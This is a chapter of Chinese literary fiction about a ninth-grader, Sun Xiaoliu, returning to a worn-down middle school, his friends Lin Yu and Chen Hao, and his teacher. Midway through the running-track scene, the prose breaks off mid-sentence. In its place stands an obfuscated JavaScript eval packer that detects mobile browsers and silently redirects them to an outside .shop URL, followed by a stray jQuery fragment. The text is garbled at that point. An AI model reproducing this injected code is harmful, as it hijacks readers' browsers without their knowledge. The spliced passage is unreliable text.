九月的第一个星期一，城西中学开学了。
孙小六站在校门口，看着那块被雨水淋得发白的校牌。校牌上的字掉了漆，“城”字的土字旁缺了一角，“中”字的那一竖只剩半截。去年他第一次站在这块牌子底下的时候，觉得那几个字像被人打掉了牙的嘴。今年他还是觉得像，但他已经不觉得疼了。掉了漆就是掉了漆，牌子还是牌子，学校还是学校。
煤渣跑道经过一个暑假，野草从煤渣缝隙里钻出来，长了半人高。体育老师老马正领着几个早到的学生拔草。他拔草的姿势跟教广播体操一样，一板一眼的——弯腰，攥住草茎根部，直着往上拽。拽出来的草根上带着煤渣，黑乎乎的一团，像从地里拔出来的牙齿。草堆在跑道边上，越堆越高，散发着草汁和煤渣混在一起的、青涩又焦煳的味道。
孙小六踩上跑道。煤渣在脚底下嘎吱响了一声，跟去年九月一模一样的声音。他低头看了看右脚——帆布鞋的鞋头，那道被白线圈着的胶痕还在。白线磨起了毛，有几针断了，但线圈还在。胶痕在线圈里安安静静地待着，颜色从去年的黄褐色变成了更深的一种褐色，像一块被反复抚摸过的旧皮子。
“孙小六！”林宇从教学楼里跑出来，书包在背后一颠一颠的。他跑过煤渣跑道的时候踢起了一溜黑灰，在九月的阳光里扬成一小团乌云。他跑到孙小六面前，弯着腰喘了好一会儿。脸上的肉比暑假前少了一点，颧骨支出来了，但腮帮子还是鼓鼓的，像仓鼠藏了吃的。
“分班表贴出来了。”他喘匀了气，直起腰。“咱们还在郭老师班上。陈浩也是。”
孙小六往教学楼走。走廊里还是那股味道——粉笔灰、拖把沤出来的潮气、食堂飘过来的炒豆芽味混在一起。去年他闻着这股味道觉得想吐，今年闻着，觉得这就是学校该有的味道。不香，但待久了，鼻子就认了。走廊拐角那面墙上的脏话又被新的盖上了，一层摞一层，像墙蜕下来的皮。最上面那行字写的是“某某我爱你”，旁边被人用红笔批了四个字——“写错字了”。“爱”字少了一撇，被人用红笔添上了。添上去的那一撇比原来的笔画粗一倍，像一道被反复描摹过的疤痕。
初三三班的教室在二楼最东头。孙小六走进去的时候，里面已经坐了大半的人。一个暑假没见，有人长高了，有人晒黑了，有人变声了——后排那个上学期还细声细气的男生，开口喊了一句“这儿有人”，声音像被砂纸磨过，粗粝粝的，把旁边的人吓了一跳。然后他自己也吓了一跳，闭上嘴，耳朵尖红了。
孙小六在倒数第三排靠窗的位置坐下来。这个位置是他上学期末自己换的。不是老师调的，是他跟林宇换的。林宇想坐前面，说离黑板近看得清，孙小六就跟他换了。从那天起他就坐在倒数第三排靠窗。窗户正对着煤渣跑道，能看见跑道尽头那棵歪脖子柳树。柳树是暑假前被风刮歪的，根还扎在土里，树干斜成了四十五度，像一个人弯着腰在找什么东西。学校没有把它砍掉，也没有把它扶正。它就那么歪着，歪了一个暑假，叶子还是绿的。
陈浩走进来的时候，老孙头的铜铃铛正好摇过第一遍。他穿着一件新校服——不是去年那件袖口松紧带松了的，是真正的新校服，深蓝色的，领口的标签还没剪，支棱着。袖子长度刚好，肩膀的位置也合身。他把书包放进桌肚里，坐下来，椅子腿划过地面，还是那声刺耳的响。但那声响好像比去年短了半拍。
他的头发剪短了。不是剃的，是剪的，耳朵后面推得很干净，头顶留了一点点长度，梳向一边。左边那撮永远翘着的头发不见了。孙小六看了好一会儿才确认那是陈浩。不是头发变了，是整个人都变了。他坐在那里，脊背靠着椅背，不驼了。手里没有转篮球，也没有转蒜。就是坐着，两只手搭在桌面上，手指微微蜷着。指甲缝里的淡紫色彻底洗掉了，一点痕迹都没有。但指腹上剥蒜磨出来的茧还在，比去年厚了一层。
郭老师走进来的时候，下巴上没有沾着米粒。她今天穿了一件藏蓝色的连衣裙，头发盘起来了，用一根黑色的发夹别住。去年那根发夹是断过的，用胶布缠着。今年换了新的，还是黑色，简简单单的。她把教案放在讲台上，扫了一圈底下坐着的四十几个学生。目光在孙小六身上停了一瞬，在陈浩身上停了一瞬，在林宇身上停了一瞬。然后她翻开教案。
“初三了。”
三个字。教室里的嗡嗡声一下子静了。日光灯嗡嗡响着，窗外煤渣跑道上老马还在领着人拔草，草根从土里拽出来的声音远远地传过来，闷闷的，一下一下的。
“这一年，你们会做很多张卷子，考很多场试，写空很多支圆珠笔芯。”郭老师把手撑在讲台边上。她的手指上沾着粉笔灰，白的，在藏蓝色连衣裙的映衬下像一层薄薄的霜。“有人会考走，有人会留下来。考走的，走。留下来的，继续。没有哪个比哪个好。走有走的路，留也有留的路。但不管走还是留，这一年你都得过。”
她从粉笔盒里抽出一支新粉笔，掰成两截。一截放回盒子里，一截拿在手里。在黑板上写了三个字——“出师表”。粉笔落在黑板上的时候断了一下，她用手指把断掉的那一截捡起来，继续写。黑板上的字端端正正的，“师”字的那一竖拖得很长，像一个人站在讲台上，手臂伸得直直的。
“今天讲《出师表》。诸葛亮写出师表的时候，知道自己要走很远的路。他写的不是路，是路上的人。”
孙小六翻开语文课本。《出师表》那一页是新的，纸张硬硬的，翻起来哗啦一声。书页上还带着油墨的味道，新鲜的，刺鼻的，跟修鞋摊的胶水味不一样，跟菜市场的蒜味也不一样。他以前闻着新课本的油墨味，觉得那是离他很远的东西。外国语学校的新课本也是这个味道。他以为那个味道不会再属于他了。现在他知道了，油墨味就是油墨味，跟学校没关系，跟谁翻开它有关系。
郭老师开始念课文。她的声音沙沙的，像砂纸擦过木头，和念《背影》的时候一样，和念《孔乙己》的时候也一样。“臣亮言：先帝创业未半而中道崩殂，今天下三分，益州疲弊，此诚危急存亡之秋也。”念到“存亡”两个字的时候，她停顿了一下。很短，短到别人可能都没注意到。但孙小六注意到了。那一下停顿里有什么东西——不是害怕，不是犹豫，是把这两个字放在舌尖上掂了掂，掂完了，再往下念。
课间的时候，林宇凑过来，手里拿着一包辣条。嘴角沾着红油，和去年一模一样。“你暑假作业写完了吗。”他问孙小六。孙小六从书包里抽出暑假作业。数学，英语，语文，物理，化学。五本，摞在一起。每一本都写满了，字很小，一个格子一个格子地写。不是赶出来的，是一天一天写的。修完鞋回来，剥完蒜回来，帮蒋师傅收完摊回来，坐在那张书桌前，从笔套里抽出圆珠笔，一道题一道题地做。做到不会的，就用红笔圈起来。第二天去问林宇，林宇不会就去问陈浩，陈浩不会就去问郭老师。红圈圈越到后面越少。最后一本物理，只圈了三道题。
林宇翻着那本物理作业，翻到最后三道红圈圈，停住了。“这三道我也不会。我问了我妈，我妈说她初中物理考过满分。她看了半天，说，这是物理吗。”他把辣条叼在嘴里，腾出手来从自己书包里掏出物理作业，翻到同一页。他的作业上也圈了好几道，有的和孙小六的一样，有的不一样。一样的那几道旁边，他用铅笔写着从网上抄来的答案，字迹潦草得像蚂蚁爬过的痕迹。
陈浩从后排走过来，把一本作业放在他们桌上。他的物理作业。翻到那一页，三道题都做了。不是抄的，是自己做的。解题步骤写得密密麻麻的，每一步旁边都标着依据——“根据欧姆定律”“根据串联电路电流处处相等”。字写得不漂亮，但清清楚楚，每一个数字都待在它该在的格子里。他放下作业就走了，没说一句话。林宇看着他的背影，把辣条咽下去。“他暑假每天去菜市场剥完蒜，晚上回去就做题。做到半夜。他奶奶说的。”
孙小六翻开陈浩的作业。最后一道大题的最后一问，陈浩的答案旁边用铅笔写了四个字——“这问不会”。笔迹很轻，像是犹豫了很久才写上去的。孙小六看着那四个字。陈浩写“不会”的方式跟他以前不一样了。以前他不会的时候，就把那一问空着，什么都不写。现在他写了“这问不会”。不是空着，是把“不会”这件事也写下来了。知道哪儿不会，就知道往哪儿用力。
下午第一节是体育课。老马把拔下来的草堆到跑道边上，点了一把火。草是湿的，烧起来浓烟滚滚，白烟里裹着青色的草汁蒸气，直往人眼睛里钻。火在草堆底下闷着烧，看不见火苗，只能看见草堆表面一鼓一鼓的，像有什么活物在底下喘气。
老马让学生们绕跑道跑三圈。煤渣跑道上的草拔干净了，露出底下黑灰色的煤渣。孙小六跑在队伍中间。煤渣在脚底下嘎吱嘎吱响，和去年九月的声音一模一样。但他脚底板不疼了。小脚趾外侧那个茧还在，硬硬的。踩在煤渣上，茧先着地，把煤渣硌碎。不是煤渣硌他，是他硌煤渣。
跑到第二圈的时候，他看见操场边的水泥台阶上坐着一个人。陈浩。他没有上场打球，也没有转篮球。就是坐着，两只手搭在膝盖上，看着跑道上的人。他旁边放着一瓶水。孙小六跑过去的时候，他把水往跑道边推了推。不是递，是推。推到孙小六跑过来正好能够到的位置。
孙小六没有停下来喝水。他跑过去的时候，冲陈浩点了一下头。陈浩也点了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510470|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。两个人隔着煤渣跑道扬起来的灰，互相看了一眼。那一眼很短，短到别人可能都没注意到。但孙小六知道，他们在说同一件事。不是“加油”，不是“快跑”。是——我知道你在这儿，你也知道我在这儿。
跑完三圈，孙小六在陈浩旁边坐下来。两个人并排坐在水泥台阶上，看着煤渣跑道上的灰慢慢落定。草堆还在闷烧，白烟从跑道尽头升起来，在九月的天空里扯成一条长长的、不肯断掉的线。
“你奶奶最近怎么样。”孙小六问。
“能自己走到菜市场了。扶着槐树走，走几步歇一下。”陈浩把水递给孙小六。孙小六接过来，拧开盖子喝了一口。水是凉的。瓶子上贴着超市的价签，最便宜的那种矿泉水，商标印得歪歪扭扭的。“她走到菜市场门口就坐下来，坐在那个卖干货的摊位旁边。不剥蒜了，就是坐着。胡老板给她一把小马扎，她就坐在那儿看人。看一上午，中午我接她回去。”
他把瓶盖从孙小六手里拿回去，拧上。“她跟我说，坐在那儿，能听见我爷爷的脚步声。菜市场地上有水，他走路的时候鞋底粘水，嘎吱嘎吱的。跟煤渣跑道的声音一样。”
孙小六看着跑道上的煤渣。黑色的，细细的，被无数双脚踩过。每一脚踩下去，煤渣就碎一点。碎了，就变成更细的粉末，填进缝隙里，把跑道夯得更实。“她还剥蒜吗。”
“剥。不多了。一天剥几颗。剥好了放在搪瓷碗里，也不给谁。就放在那儿。”陈浩把手插进口袋里。口袋里鼓着一块——是蒜。他摸出来一颗，紫皮的，放在水泥台阶上。蒜在两个人中间待着。“她昨天给了我一颗蒜。说，这颗不用剥。留着。”
孙小六把蒜拿起来。蒜皮上沾着干泥巴，蒜蒂干枯发黄，和去年他第一次在菜市场看见的那座蒜山一模一样。他把蒜凑近了看，蒜瓣的纹路里嵌着细细的泥土，指甲抠不出来。那不是脏，是长在蒜皮上了。
“你留着了？”
“留着。”陈浩把蒜拿回去，放回口袋里。拍了拍口袋。“压枕头底下了。”
下午放学的时候，郭老师把孙小六叫住了。教室里的人走光了，只剩下他和郭老师两个人。日光灯嗡嗡响着，值日生擦黑板的粉笔灰还没落定，在灯光里浮着，像一群很小很小的飞虫。
郭老师坐在讲台边上，手里拿着孙小六的暑假作业。物理那本，翻到最后三道红圈圈的位置。“你暑假作业，是自己做的？”
“是。”
“不会的题，问谁了。”
“林宇。陈浩。还有蒋师傅。”
“蒋师傅？”
“修鞋的蒋师傅。他初中毕业，但他说他修鞋之前在生产资料仓库干过两年。物理题他不会，但他跟我说，不会的题跟修鞋一样。拆开来，一步一步看。哪儿卡住了，就往哪儿使劲。”
郭老师听着，没有笑。她把物理作业合上，放在讲台上。手压在作业本上，手指上的粉笔灰已经干了，变成一道一道细细的白纹，嵌在指纹的缝隙里。“你初一转过来的时候，英语课我第一次点你名。你站起来读第三段，读得很流利。那时候我觉得，这个学生在这儿待不长。”她把作业本往孙小六那边推了推。“你待下来了。不是待下来了，是长在这儿了。”
孙小六把作业本接过来。封面上的“城西中学”四个字，纸张薄得能透出背面的字。他在封面上写过很多次自己的名字。每写一次，笔尖就戳破纸面一点点。封面上的名字已经写了好几层了，旧的被新的盖住，新的被更旧的顶出来，像墙上那些摞在一起的脏话。
“郭老师，初三读完以后，我能考去哪儿。”
郭老师从粉笔盒里抽出一支新粉笔。没有掰，拿在手里转了一圈。“你的成绩，能上普通高中。冲一冲，能上区重点。”她把粉笔放下。“但你要想清楚，你想去哪儿。不是你能去哪儿，是你想。”
孙小六从教室里出来的时候，天已经暗下来了。煤渣跑道上的草堆烧完了，剩一堆灰白色的灰，被风吹得扬起来，落在跑道上，和煤渣混在一起。灰和煤渣，颜色不一样，但混在一起以后，就分不出来了。
他踩上跑道。煤渣在脚底下嘎吱响了一声。他走了几步，停下来，低头看着脚上的帆布鞋。鞋头那圈白线在灰白色的灰里印出一圈浅浅的痕迹。他从口袋里摸出火柴盒，打开。蒋师傅的纸条，红薯皮碎片，九张糖纸，一片绿萝叶子，一颗刻了“六”字的蒜瓣，一小截白线头。还有今天陈浩放在台阶上的那颗蒜，紫皮的，不用剥。他把那颗蒜放进火柴盒里。火柴盒满了。盖子盖上，铁皮微微鼓着。他把火柴盒放回口袋。
然后他沿着煤渣跑道往校门口走。煤渣在脚底下嘎吱嘎吱响。他没有回头。